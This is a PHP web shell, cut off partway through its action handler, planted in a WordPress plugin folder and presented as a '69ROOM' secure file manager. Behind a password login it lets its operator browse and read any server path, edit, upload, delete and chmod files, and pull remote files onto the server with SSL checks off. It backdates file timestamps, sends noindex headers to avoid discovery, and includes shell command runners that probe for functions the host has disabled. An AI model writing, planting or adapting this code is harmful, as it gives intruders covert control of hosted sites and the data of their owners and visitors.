File: /home/mahdetej/public_html/wp-content/plugins/neoncore-themes/O/DPX1.php
<?php
/**
* 69ROOM — Secure File Manager
*/
// ================= 69ROOM AUTHENTICATION =================
session_start();
// Bcrypt hash of the password (using password_hash() with PASSWORD_BCRYPT, cost 12)
$password_hash = '$2a$12$9i9Zb9USpwIavav08vmfkeuKHry97qNuJ/GTSouK33iCSQcD7dG72';
// Handle logout
if (isset($_GET['a']) && $_GET['a'] === 'logout') {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit();
}
// Process login
if (isset($_POST['password'])) {
$input = trim($_POST['password']);
// Verify using bcrypt (supports the hash format $2a$, $2y$, $2b$)
if (password_verify($input, $password_hash)) {
$_SESSION['authenticated'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit();
} else {
$_SESSION['login_error'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit();
}
}
// Check authentication
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🍃 69ROOM 🍃</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: #0a0e0c;
background-image:
radial-gradient(1200px 600px at 20% -10%, rgba(62,180,137,.08), transparent 60%),
radial-gradient(900px 500px at 90% 0%, rgba(62,180,137,.06), transparent 60%);
font-family: 'JetBrains Mono', 'Fira Code', 'Segoe UI', ui-monospace, monospace;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-box {
background: rgba(10,15,13,.94);
border: 1px solid rgba(62,180,137,.35);
border-radius: 20px;
padding: 40px;
width: 100%;
max-width: 400px;
box-shadow: 0 12px 40px rgba(0,0,0,.5), 0 0 40px rgba(62,180,137,.15);
backdrop-filter: blur(12px);
}
.logo {
text-align: center;
margin-bottom: 25px;
}
.logo svg {
width: 64px;
height: 64px;
color: #3EB489;
filter: drop-shadow(0 0 20px rgba(62,180,137,.3));
animation: pulse 3s ease-in-out infinite;
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.7; }
}
h1 {
background: linear-gradient(135deg, #3EB489, #6ee7b7);
-webkit-background-clip: text;
background-clip: text;
color: transparent;
text-align: center;
font-size: 26px;
font-weight: 700;
margin-bottom: 8px;
letter-spacing: 3px;
text-transform: uppercase;
text-shadow: 0 0 30px rgba(62,180,137,.3);
}
.sub {
color: #6ee7b7;
text-align: center;
font-size: 11px;
margin-bottom: 30px;
text-transform: uppercase;
letter-spacing: 2px;
opacity: 0.7;
}
.error {
background: rgba(62,180,137,.08);
border: 1px solid rgba(62,180,137,.4);
color: #6ee7b7;
padding: 12px;
border-radius: 12px;
margin-bottom: 20px;
font-size: 12px;
text-align: center;
text-transform: uppercase;
letter-spacing: 1px;
backdrop-filter: blur(4px);
}
input {
width: 100%;
padding: 14px 16px;
background: #0a0e0c;
border: 1px solid rgba(62,180,137,.25);
border-radius: 12px;
color: #d1d5db;
font-size: 13px;
font-family: 'JetBrains Mono', 'Fira Code', monospace;
outline: none;
transition: all 0.2s;
}
input:focus {
border-color: #3EB489;
box-shadow: 0 0 0 4px rgba(62,180,137,.2);
}
input::placeholder {
color: #4a7263;
font-size: 11px;
text-transform: uppercase;
letter-spacing: 1px;
}
button {
width: 100%;
padding: 14px;
margin-top: 20px;
background: linear-gradient(180deg, #3EB489, #2e8f6c);
border: none;
border-radius: 12px;
color: #e6faf3;
font-weight: 600;
font-size: 14px;
font-family: 'JetBrains Mono', 'Fira Code', monospace;
text-transform: uppercase;
letter-spacing: 2px;
cursor: pointer;
transition: all 0.2s;
box-shadow: 0 8px 24px rgba(62,180,137,.2);
}
button:hover {
filter: brightness(1.1);
box-shadow: 0 12px 32px rgba(62,180,137,.35);
transform: translateY(-1px);
}
button:active {
transform: translateY(0.5px);
}
.hint {
margin-top: 20px;
color: #3a5c4f;
font-size: 10px;
text-align: center;
border-top: 1px solid rgba(62,180,137,.15);
padding-top: 16px;
text-transform: uppercase;
letter-spacing: 1px;
}
.footer-line {
height: 2px;
background: linear-gradient(90deg, rgba(62,180,137,0), rgba(62,180,137,.5), rgba(62,180,137,0));
margin-bottom: 16px;
}
.skull-icon {
opacity: 0.8;
}
</style>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&display=swap" rel="stylesheet">
</head>
<body>
<div class="login-box">
<div class="footer-line"></div>
<div class="logo">
<svg viewBox="0 0 48 48" fill="currentColor" xmlns="http://www.w3.org/2000/svg">
<!-- Skull Icon -->
<circle cx="24" cy="24" r="20" fill="none" stroke="currentColor" stroke-width="2"/>
<circle cx="17" cy="20" r="3" fill="currentColor"/>
<circle cx="31" cy="20" r="3" fill="currentColor"/>
<path d="M16 30c0 0 2 4 8 4s8-4 8-4" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"/>
<path d="M12 14l-4-4M36 14l4-4" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>
</svg>
</div>
<h1>69ROOM</h1>
<div class="sub">// SECURE ACCESS //</div>
<?php if (isset($_SESSION['login_error'])): ?>
<div class="error">⛔ ACCESS DENIED - INVALID CREDENTIALS</div>
<?php unset($_SESSION['login_error']); ?>
<?php endif; ?>
<form method="POST">
<input type="password" name="password" placeholder="[ PASSWORD ]" autocomplete="off" autofocus required>
<button type="submit">😜 AUTHENTICATE 😜</button>
</form>
<div class="hint">
PHP <?php echo phpversion(); ?> • <?php echo php_uname('s'); ?> • 69ROOM v1.0
</div>
<div class="footer-line" style="margin-top: 16px; margin-bottom: 0;"></div>
</div>
</body>
</html>
<?php
exit();
}
// ================= END AUTHENTICATION =================
if (!function_exists('is_fn_usable')) {
function is_fn_usable($fn) {
if (!function_exists($fn)) return false;
$disabled = (string) @ini_get('disable_functions');
$suhosin = (string) @ini_get('suhosin.executor.func.blacklist');
$blocked = array();
if ($disabled !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $disabled)));
if ($suhosin !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $suhosin)));
if (!empty($blocked)) {
$blocked = array_filter(array_map('strtolower', $blocked));
if (in_array(strtolower($fn), $blocked, true)) return false;
}
return true;
}
}
date_default_timezone_set(@date_default_timezone_get() ? @date_default_timezone_get() : 'UTC');
session_start();
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(mint_random_bytes(16));
}
/* ---------- Security Headers ---------- */
header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, noimageindex', true);
header('Referrer-Policy: no-referrer');
header('X-Frame-Options: DENY');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: 0');
/* ---------- Util & Polyfills ---------- */
function h($s){ return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }
if (!function_exists('je')) {
function je($v) {
if (function_exists('json_encode')) return json_encode($v);
if (is_bool($v)) return $v ? 'true' : 'false';
if (is_numeric($v)) return (string)$v;
if ($v === null) return 'null';
$s = str_replace(
array("\\","\"","\r","\n","\t","/"),
array("\\\\","\\\"","\\r","\\n","\\t","\\/"),
(string)$v
);
return '"'.$s.'"';
}
}
if (!function_exists('hash_equals')) {
function hash_equals($a, $b) {
if (!is_string($a) || !is_string($b)) return false;
$len = strlen($a);
if ($len !== strlen($b)) return false;
$res = 0;
for ($i=0; $i<$len; $i++) $res |= ord($a[$i]) ^ ord($b[$i]);
return $res === 0;
}
}
function mint_random_bytes($len){
if (is_fn_usable('random_bytes')) return random_bytes($len);
if (is_fn_usable('openssl_random_pseudo_bytes')) {
$strong = false;
$b = openssl_random_pseudo_bytes($len, $strong);
if ($b !== false && $strong) return $b;
}
$out = '';
for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255));
return $out;
}
function humanSize($b){
$u = array('B','KB','MB','GB','TB'); $i = 0;
while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; }
return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i];
}
function permsToString($f){
$p = @fileperms($f); if ($p === false) return '??????????';
$t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-');
$s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-');
$s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-');
$s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-');
return $t.$s;
}
function modeFromInput($s){
$s=trim($s); if ($s==='') return 0644;
if (ctype_digit($s)){ if ($s[0]!=='0') $s='0'.$s; return intval($s,8); }
return 0644;
}
function isTextFile($p){
if (is_dir($p) || !is_file($p)) return false;
$ext = strtolower(pathinfo($p, PATHINFO_EXTENSION));
$text = array('txt','md','json','js','ts','css','scss','less','html','htm','xml','svg','php','phtml','inc','ini','cfg','env','yml','yaml','py','rb','go','rs','c','h','cpp','hpp','java','kt','sql','csv','log');
if (in_array($ext, $text, true)) return true;
$s = @file_get_contents($p, false, null, 0, 2048);
if ($s === false) return false;
return (bool)preg_match('//u', $s);
}
function safeJoin($base,$child){
$child = str_replace("\0",'',$child);
if ($child==='') return $base;
if ($child[0]===DIRECTORY_SEPARATOR || preg_match('~^[A-Za-z]:\\\\~',$child)) return $child;
return rtrim($base,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child;
}
function listDirEntries($dir){
$h = @opendir($dir); if ($h===false) return array();
$items=array(); while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $items[]=$e; }
closedir($h); return $items;
}
function rrmdir($p){
if (!file_exists($p)) return true;
if (is_file($p) || is_link($p)) return @unlink($p);
$ok=true; $h=@opendir($p); if($h===false) return false;
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; $ok = rrmdir($p.DIRECTORY_SEPARATOR.$v) && $ok; }
closedir($h);
return @rmdir($p) && $ok;
}
function tryWriteFromTmp($tmp,$dest){
$err=array(); if(@move_uploaded_file($tmp,$dest)) return array(true,null); $err[]='move_uploaded_file';
if(@rename($tmp,$dest)) return array(true,null); $err[]='rename';
if(@copy($tmp,$dest)) return array(true,null); $err[]='copy';
$d=@file_get_contents($tmp); if($d!==false && @file_put_contents($dest,$d)!==false) return array(true,null); $err[]='get+put';
$in=@fopen($tmp,'rb'); $out=@fopen($dest,'wb');
if($in && $out){ $c=stream_copy_to_stream($in,$out); @fclose($in); @fclose($out); if($c!==false) return array(true,null); $err[]='stream_copy'; }
else { $err[]='fopen'; }
return array(false, implode('; ',$err).' failed');
}
if (!function_exists('fetchUrlToFile')) {
function fetchUrlToFile($url, $dest) {
$errs = array();
if (is_fn_usable('curl_init')) {
$ch = @curl_init($url);
$fp = @fopen($dest, 'wb');
if ($ch && $fp) {
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
@curl_setopt($ch, CURLOPT_FILE, $fp);
@curl_setopt($ch, CURLOPT_FAILONERROR, true);
@curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
@curl_setopt($ch, CURLOPT_TIMEOUT, 60);
$ok = @curl_exec($ch);
$e = @curl_error($ch);
@curl_close($ch);
@fclose($fp);
if ($ok) return array(true, null);
$errs[] = 'cURL: ' . $e;
@unlink($dest);
} else {
if ($ch) @curl_close($ch);
if ($fp) @fclose($fp);
$errs[] = 'init cURL/fopen';
}
}
$ctx = @stream_context_create(array(
'http' => array(
'follow_location' => 1,
'timeout' => 60,
'header' => "User-Agent: Mozilla/5.0\r\n",
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
),
));
if (@copy($url, $dest, $ctx)) return array(true, null);
$errs[] = 'copy(url)';
$d = @file_get_contents($url, false, $ctx);
if ($d !== false && @file_put_contents($dest, $d) !== false) return array(true, null);
$errs[] = 'get+put';
$in = @fopen($url, 'rb', false, $ctx);
$out = @fopen($dest, 'wb');
if ($in && $out) {
$c = @stream_copy_to_stream($in, $out);
@fclose($in);
@fclose($out);
if ($c !== false) return array(true, null);
$errs[] = 'stream_copy';
@unlink($dest);
} else {
$errs[] = 'fopen(url/dest)';
}
return array(false, implode('; ', $errs) . ' failed');
}
}
function breadcrumbs($path){
$out=array();
if (preg_match('~^[A-Za-z]:\\\\~',$path)){
$drive=substr($path,0,2); $rest=substr($path,2);
$segments=array_values(array_filter(explode('\\\\',$rest),'strlen'));
$acc=$drive.'\\'; $out[]=array($drive.'\\',$acc);
foreach($segments as $s){ $acc.=$s.'\\'; $out[]=array($s,rtrim($acc,'\\')); }
} else {
$segments=array_values(array_filter(explode('/',$path),'strlen'));
$acc='/'; $out[]=array('/','/');
foreach($segments as $s){ $acc.=$s.'/'; $out[]=array($s,rtrim($acc,'/')); }
}
return $out;
}
function ensureCsrf(){
if($_SERVER['REQUEST_METHOD']==='POST'){
$sess = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '';
$tok = isset($_POST['csrf']) ? (string)$_POST['csrf'] : '';
if(!hash_equals($sess,$tok)){ http_response_code(400); exit('CSRF token invalid'); }
}
}
/* ====== NEW HELPERS: create non-zero file ====== */
function create_nonzero_file($path, $userContent = null){
$default = "Created by 69ROOM @ ".date('c')."\n";
$payload = (string)($userContent !== null ? $userContent : $default);
if ($payload === '') $payload = $default;
$w = @file_put_contents($path, $payload, LOCK_EX);
if ($w !== false && $w > 0) return array(true, 'file_put_contents');
$fp = @fopen($path, 'wb');
if ($fp){
$wr = @fwrite($fp, $payload);
@fclose($fp);
if ($wr !== false && $wr > 0) return array(true, 'fopen+fwrite');
}
$tmp = @tempnam(sys_get_temp_dir(), 'mint_');
if ($tmp){
@file_put_contents($tmp, $payload);
if (@rename($tmp, $path)) { if (@filesize($path) > 0) return array(true, 'tempnam+rename'); }
elseif (@copy($tmp, $path)) { @unlink($tmp); if (@filesize($path) > 0) return array(true, 'tempnam+copy'); }
@unlink($tmp);
}
$src = @fopen('php://temp', 'wb+');
if ($src){
@fwrite($src, $payload); @rewind($src);
$dst = @fopen($path, 'wb');
if ($dst){
$copied = @stream_copy_to_stream($src, $dst);
@fclose($dst);
if ($copied !== false && $copied > 0) { @fclose($src); return array(true, 'php://temp copy'); }
}
@fclose($src);
}
if (@touch($path)){
$w2 = @file_put_contents($path, $payload, FILE_APPEND);
if ($w2 !== false && $w2 > 0) return array(true, 'touch+append');
}
return array(false, 'All methods failed');
}
/* ---------- Icons ---------- */
function svgIcon($name,$class='ico'){
$icons=array(
'folder'=>'<svg viewBox="0 0 24 24" class="'.$class.'" aria-hidden="true"><path d="M10 4l2 2h6a2 2 0 012 2v1H4V6a2 2 0 012-2h4z" fill="currentColor" opacity=".12"/><path d="M3 9h18v9a2 2 0 01-2 2H5a2 2 0 01-2-2V9z" fill="currentColor"/></svg>',
'file'=>'<svg viewBox="0 0 24 24" class="'.$class.'" aria-hidden="true"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M13 3v5a2 2 0 002 2h5" fill="none" stroke="currentColor" stroke-width="2" stroke-linejoin="round"/></svg>',
'code'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M8 16l-4-4 4-4M16 8l4 4-4 4" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>',
'text'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M4 6h16M4 12h16M4 18h10" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>',
'skull'=>'<svg viewBox="0 0 48 48" class="'.$class.'" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"><g fill="currentColor"><circle cx="24" cy="24" r="20" fill="none" stroke="currentColor" stroke-width="2"/><circle cx="17" cy="20" r="3"/><circle cx="31" cy="20" r="3"/><path d="M16 30c0 0 2 4 8 4s8-4 8-4" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"/><path d="M12 14l-4-4M36 14l4-4" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></g></svg>',
'img'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M4 5h16v14H4z" fill="currentColor" opacity=".12"/><circle cx="8.5" cy="9.5" r="1.5" fill="currentColor"/><path d="M4 16l4-4 3 3 3-2 6 5" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>',
'pdf'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><text x="7" y="17" font-size="8" font-family="ui-sans-serif" fill="currentColor">PDF</text></svg>',
'sheet'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M6 3h12a2 2 0 012 2v14a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M8 8h8M8 12h8M8 16h8" stroke="currentColor" stroke-width="2"/></svg>',
'zip'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M11 5h2v2h-2v2h2v2h-2" stroke="currentColor" stroke-width="2"/></svg>',
'db'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><ellipse cx="12" cy="6" rx="8" ry="3" fill="currentColor" opacity=".12"/><path d="M4 6v12c0 1.7 3.6 3 8 3s8-1.3 8-3V6" fill="none" stroke="currentColor" stroke-width="2"/></svg>',
'search'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><circle cx="11" cy="11" r="7" stroke="currentColor" stroke-width="2" fill="none"/><path d="M20 20l-3-3" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>',
);
return isset($icons[$name]) ? $icons[$name] : $icons['file'];
}
function iconSvgFor($p){
if (is_dir($p)) return svgIcon('folder');
$e=strtolower(pathinfo($p, PATHINFO_EXTENSION));
if (in_array($e,array('zip','rar','7z'))) return svgIcon('zip');
if (in_array($e,array('jpg','jpeg','png','gif','webp','bmp','svg'))) return svgIcon('img');
if (in_array($e,array('pdf'))) return svgIcon('pdf');
if (in_array($e,array('csv','xls','xlsx'))) return svgIcon('sheet');
if (in_array($e,array('sql'))) return svgIcon('db');
if (in_array($e,array('php','js','ts','css','scss','less','html','htm','xml','yml','yaml','ini','cfg'))) return svgIcon('code');
if (in_array($e,array('txt','md','log','json'))) return svgIcon('text');
return svgIcon('file');
}
/* ---------- Shell helpers ---------- */
if(!function_exists('make_cd_prefix')){
function make_cd_prefix($cwd){
if(!$cwd) return '';
if(DIRECTORY_SEPARATOR==='\\') return 'cd /d '.escapeshellarg($cwd).' && ';
return 'cd '.escapeshellarg($cwd).' && ';
}
}
if(!function_exists('wrap_cmd_for_shell')){
function wrap_cmd_for_shell($cmd){
if(DIRECTORY_SEPARATOR==='\\') return 'cmd.exe /C '.$cmd;
return '/bin/sh -c '.escapeshellarg($cmd);
}
}
/* ---------- Command runners ---------- */
if(!function_exists('run_with_proc_open')){
function run_with_proc_open($cmd,$cwd=null,$timeout=30){
if(!is_fn_usable('proc_open')) return null;
$des=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));
$pipes=array(); $proc=@proc_open($cmd,$des,$pipes,$cwd?:null,null);
if(!is_resource($proc)) return null;
if(isset($pipes[1])&&is_resource($pipes[1])) @stream_set_blocking($pipes[1],false);
if(isset($pipes[2])&&is_resource($pipes[2])) @stream_set_blocking($pipes[2],false);
if(isset($pipes[0])&&is_resource($pipes[0])) @fclose($pipes[0]);
$buf=''; $start=time();
while(true){
$status=@proc_get_status($proc); $running=$status && !empty($status['running']);
$r=array(); if(isset($pipes[1])&&is_resource($pipes[1])) $r[]=$pipes[1]; if(isset($pipes[2])&&is_resource($pipes[2])) $r[]=$pipes[2];
if($r){ $w=null;$e=null; @stream_select($r,$w,$e,1); foreach($r as $p){ $chunk=@fread($p,8192); if($chunk!==false && $chunk!=='') $buf.=$chunk; } }
else { usleep(100000); }
if(!$running) break;
if($timeout>0 && (time()-$start)>=$timeout){
@proc_terminate($proc,9);
foreach($pipes as $p){ if(is_resource($p)) @fclose($p); }
@proc_close($proc);
return array('method'=>'proc_open','code'=>124,'out'=>$buf."\n[timeout after {$timeout}s]");
}
}
foreach($pipes as $p){ if(is_resource($p)) @fclose($p); }
$code=@proc_close($proc); if($code===-1) $code=null;
return array('method'=>'proc_open','code'=>$code,'out'=>$buf);
}
}
if(!function_exists('run_with_shell_exec')){
function run_with_shell_exec($cmd,$cwd=null){
if(!is_fn_usable('shell_exec')) return null;
$full = make_cd_prefix($cwd) . $cmd . ' 2>&1';
$out = @shell_exec($full); if($out===null) return null;
return array('method'=>'shell_exec','code'=>null,'out'=>$out);
}
}
if(!function_exists('run_with_exec')){
function run_with_exec($cmd,$cwd=null){
if(!is_fn_usable('exec')) return null;
$full = make_cd_prefix($cwd) . $cmd . ' 2>&1';
$lines=array(); $code=0; @exec($full,$lines,$code);
return array('method'=>'exec','code'=>$code,'out'=>implode("\n",(array)$lines));
}
}
if(!function_exists('run_with_system')){
function run_with_system($cmd,$cwd=null){
if(!is_fn_usable('system')) return null;
$full = make_cd_prefix($cwd) . $cmd . ' 2>&1';
ob_start(); @system($full,$code); $out=ob_get_clean();
return array('method'=>'system','code'=>$code,'out'=>$out);
}
}
if(!function_exists('run_with_popen')){
function run_with_popen($cmd,$cwd=null){
if(!is_fn_usable('popen')) return null;
$full = make_cd_prefix($cwd) . $cmd . ' 2>&1';
$h=@popen(wrap_cmd_for_shell($full),'r'); if(!is_resource($h)) return null;
$buf=''; while(!feof($h)){ $chunk=@fread($h,8192); if($chunk===false) break; $buf.=$chunk; }
@pclose($h); return array('method'=>'popen','code'=>null,'out'=>$buf);
}
}
if(!function_exists('run_command_all')){
function run_command_all($cmd,$cwd=null){
$po=run_with_proc_open($cmd,$cwd,30); if($po) return $po;
$order=array('run_with_shell_exec','run_with_exec','run_with_system','run_with_popen');
foreach($order as $fn){ if(function_exists($fn)){ $res=$fn($cmd,$cwd); if($res) return $res; } }
return array('method'=>'none','code'=>127,'out'=>"Command runner not available on this PHP build.");
}
}
/* ---------- chmod/mtime recursion ---------- */
function mint_apply_chmod($path,$mode,$recursive,&$ok){
if(!@chmod($path,$mode)) $ok=false;
if($recursive && is_dir($path)){
$h=@opendir($path);
if($h!==false){
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; mint_apply_chmod($path.DIRECTORY_SEPARATOR.$v,$mode,true,$ok); }
closedir($h);
} else { $ok=false; }
}
}
function mint_apply_mtime($path,$timestamp,$recursive,&$ok){
if(!@touch($path,$timestamp,$timestamp)) $ok=false;
if($recursive && is_dir($path)){
$h=@opendir($path);
if($h!==false){
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; mint_apply_mtime($path.DIRECTORY_SEPARATOR.$v,$timestamp,true,$ok); }
closedir($h);
} else { $ok=false; }
}
}
/* =========================
* BOOT & ROUTER
* ========================= */
$current = isset($_GET['p']) ? (string)$_GET['p'] : getcwd();
if (!is_dir($current)) $current = getcwd();
$current = rtrim($current, DIRECTORY_SEPARATOR);
if ($current === '') $current = DIRECTORY_SEPARATOR;
$action = isset($_GET['a']) ? $_GET['a'] : '';
/* === Ambil tab & subtab dari URL untuk initial state === */
$tab = isset($_GET['tab']) ? (string)$_GET['tab'] : '';
$subtab = isset($_GET['subtab']) ? (string)$_GET['subtab'] : '';
/* ---- AUTH ---- */
if ($action === 'login' && $_SERVER['REQUEST_METHOD'] === 'POST') {
ensureCsrf();
$u = isset($_POST['user']) ? $_POST['user'] : ''; $p = isset($_POST['pass']) ? $_POST['pass'] : '';
}
/* ---- DOWNLOAD ---- */
if ($action === 'download') {
$f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : '');
if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); }
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: '.filesize($f));
header('X-Content-Type-Options: nosniff');
readfile($f); exit;
}
/* ---- RAW (inline view) ---- */
if ($action === 'raw') {
$f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : '');
if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); }
$mime = 'application/octet-stream';
if (is_fn_usable('finfo_open')) { $fi=@finfo_open(FILEINFO_MIME_TYPE); if($fi){ $det=@finfo_file($fi,$f); if($det) $mime=$det; @finfo_close($fi);} }
elseif (is_fn_usable('mime_content_type')) { $tmp=@mime_content_type($f); if($tmp) $mime=$tmp; }
header('Content-Type: '.$mime);
header('Content-Length: '.filesize($f));
header('X-Content-Type-Options: nosniff');
header('Content-Disposition: inline; filename="'.basename($f).'"');
readfile($f); exit;
}
/* ---- POST ACTIONS ---- */
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
ensureCsrf();
// Ambil tab/subtab yang dipost supaya balik ke tab yang sama
$postedTab = isset($_POST['tab']) ? (string)$_POST['tab'] : '';
$postedSubtab = isset($_POST['subtab']) ? (string)$_POST['subtab'] : '';
$back = function () use ($current, $postedTab, $postedSubtab) {
$q = '?p='.rawurlencode($current);
if ($postedTab !== '') $q .= '&tab='.rawurlencode($postedTab);
if ($postedSubtab !== '') $q .= '&subtab='.rawurlencode($postedSubtab);
header('Location: '.$q); exit;
};
switch ($action) {
case 'logout': {
session_destroy(); header('Location: ?'); exit;
}
case 'new-file': {
$name = trim((string)(isset($_POST['name']) ? $_POST['name'] : ''));
$content = isset($_POST['content']) ? (string)$_POST['content'] : null;
if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New File: invalid name'; return $back(); }
$dst = safeJoin($current, $name);
if (file_exists($dst)) { $_SESSION['msg']='New File: already exists'; return $back(); }
list($ok,$how) = create_nonzero_file($dst, $content);
$_SESSION['msg'] = $ok ? ("New File OK via {$how}: ".$name) : ('New File failed: '.$how);
return $back();
}
case 'new-dir': {
$name = trim((string)(isset($_POST['name']) ? $_POST['name'] : ''));
if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New Folder: invalid name'; return $back(); }
$dst = safeJoin($current, $name);
if (file_exists($dst)) { $_SESSION['msg']='New Folder: already exists'; return $back(); }
$ok = @mkdir($dst, 0775, false);
$_SESSION['msg'] = $ok ? ('New Folder OK: '.$name) : 'New Folder failed';
return $back();
}
case 'edit-save': {
$file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : '');
$content = isset($_POST['content']) ? $_POST['content'] : '';
$mode = isset($_POST['mode']) ? $_POST['mode'] : 'txt';
if (!is_file($file) || !is_writable($file)) { $_SESSION['msg']='Save failed (file not writable)'; return $back(); }
if ($mode === 'b64') {
$data = base64_decode($content, true);
if ($data === false) { $_SESSION['msg']='Save failed: invalid Base64 data'; return $back(); }
@file_put_contents($file, $data);
} else {
@file_put_contents($file, $content);
}
$_SESSION['msg'] = 'Saved: '.basename($file); return $back();
}
case 'rename': {
$old = safeJoin($current, isset($_POST['old']) ? $_POST['old'] : '');
$new = trim((string)(isset($_POST['new']) ? $_POST['new'] : ''));
if ($new === '' || strpos($new, DIRECTORY_SEPARATOR) !== false) { $_SESSION['msg']='Invalid new name'; }
else { $dst = safeJoin($current, $new); $_SESSION['msg'] = @rename($old,$dst) ? 'Rename OK' : 'Rename failed'; }
return $back();
}
case 'chmod': {
$target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : '');
$mode = modeFromInput((string)(isset($_POST['mode']) ? $_POST['mode'] : '0644'));
$rec = !empty($_POST['recursive']); $ok=true; mint_apply_chmod($target,$mode,$rec,$ok);
$_SESSION['msg'] = $ok ? 'Chmod OK' : 'Chmod partially failed'; return $back();
}
case 'delete': {
$t = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $_SESSION['msg'] = rrmdir($t) ? 'Delete OK' : 'Delete failed'; return $back();
}
case 'mass-delete': {
$arr = isset($_POST['items']) ? $_POST['items'] : array(); $ok=true;
if (is_array($arr)) foreach ($arr as $n) { $ok = rrmdir(safeJoin($current,$n)) && $ok; }
$_SESSION['msg'] = $ok ? 'Bulk delete OK' : 'Some items failed to delete'; return $back();
}
case 'upload': {
if (!isset($_FILES['files'])) { $_SESSION['msg']='No files provided'; return $back(); }
$c = count($_FILES['files']['name']); $ok=0; $fail=0; $fails=array();
for ($i=0;$i<$c;$i++){
$name=$_FILES['files']['name'][$i]; $tmp=$_FILES['files']['tmp_name'][$i]; $e=$_FILES['files']['error'][$i];
if ($e!==UPLOAD_ERR_OK){ $fail++; $fails[]="$name (error $e)"; continue; }
list($done,$why)=tryWriteFromTmp($tmp,safeJoin($current,$name));
if ($done) $ok++; else { $fail++; $fails[]="$name ($why)"; }
}
$_SESSION['msg']="Upload: OK=$ok; Failed=$fail".($fails?'; '.implode(', ',$fails):''); return $back();
}
case 'url-upload': {
$url = trim((string)(isset($_POST['url']) ? $_POST['url'] : ''));
$fn = trim((string)(isset($_POST['filename']) ? $_POST['filename'] : ''));
if ($url===''){ $_SESSION['msg']='URL is empty'; return $back(); }
if ($fn===''){ $path=parse_url($url,PHP_URL_PATH); $fn=basename($path?$path:''); if($fn===''){ $fn='download.bin'; } }
list($ok,$w) = fetchUrlToFile($url, safeJoin($current,$fn));
$_SESSION['msg'] = $ok ? "Downloaded from URL: $fn" : "URL download failed: $w"; return $back();
}
case 'mtime': {
